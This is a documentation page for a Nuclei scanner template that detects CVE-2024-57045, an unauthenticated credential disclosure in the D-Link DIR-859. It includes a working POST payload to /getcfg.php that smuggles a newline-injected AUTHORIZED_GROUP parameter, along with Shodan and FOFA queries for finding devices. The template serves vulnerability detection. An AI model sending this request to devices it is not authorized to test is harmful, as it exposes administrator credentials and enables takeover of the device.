D-Link DIR-859 - Information Disclosure
ID: CVE-2024-57045
Severity: critical
Author: ritikchaddha
Tags: cve,cve2024,dlink,disclosure,unauth
Description
Section titled “Description”A critical information disclosure vulnerability exists in D-Link devices where sensitive device account information including credentials can be retrieved by sending an unauthenticated request to /getcfg.php endpoint with the parameter SERVICES=DEVICE.ACCOUNT. This could allow attackers to obtain administrative credentials and gain full control of the affected device.
YAML Source
Section titled “YAML Source”id: CVE-2024-57045
info: name: D-Link DIR-859 - Information Disclosure author: ritikchaddha severity: critical description: | A critical information disclosure vulnerability exists in D-Link devices where sensitive device account information including credentials can be retrieved by sending an unauthenticated request to `/getcfg.php` endpoint with the parameter `SERVICES=DEVICE.ACCOUNT`. This could allow attackers to obtain administrative credentials and gain full control of the affected device. reference: - https://www.dlink.com/en/security-bulletin - https://nvd.nist.gov/vuln/detail/CVE-2024-57045 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-57045 cwe-id: CWE-200 metadata: max-request: 1 verified: true shodan-query: title:"D-Link" fofa-query: title="D-Link" vendor: D-Link tags: cve,cve2024,dlink,disclosure,unauth
http: - raw: - | POST /getcfg.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1
matchers-condition: and matchers: - type: word part: body words: - "<name>" - "<password>" - "<account>" condition: and
- type: word part: content_type words: - "text/xml"
- type: status status: - 200# digest: 4b0a00483046022100d791b25eca7090cdd7948be3ca45a6dad8d6d63fae9f9d1cdeed93db34726c04022100edd19c59d9e4138c109d3a2f10b491568f6ee9fcb8eca1be96665945928fab36:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-57045.yaml"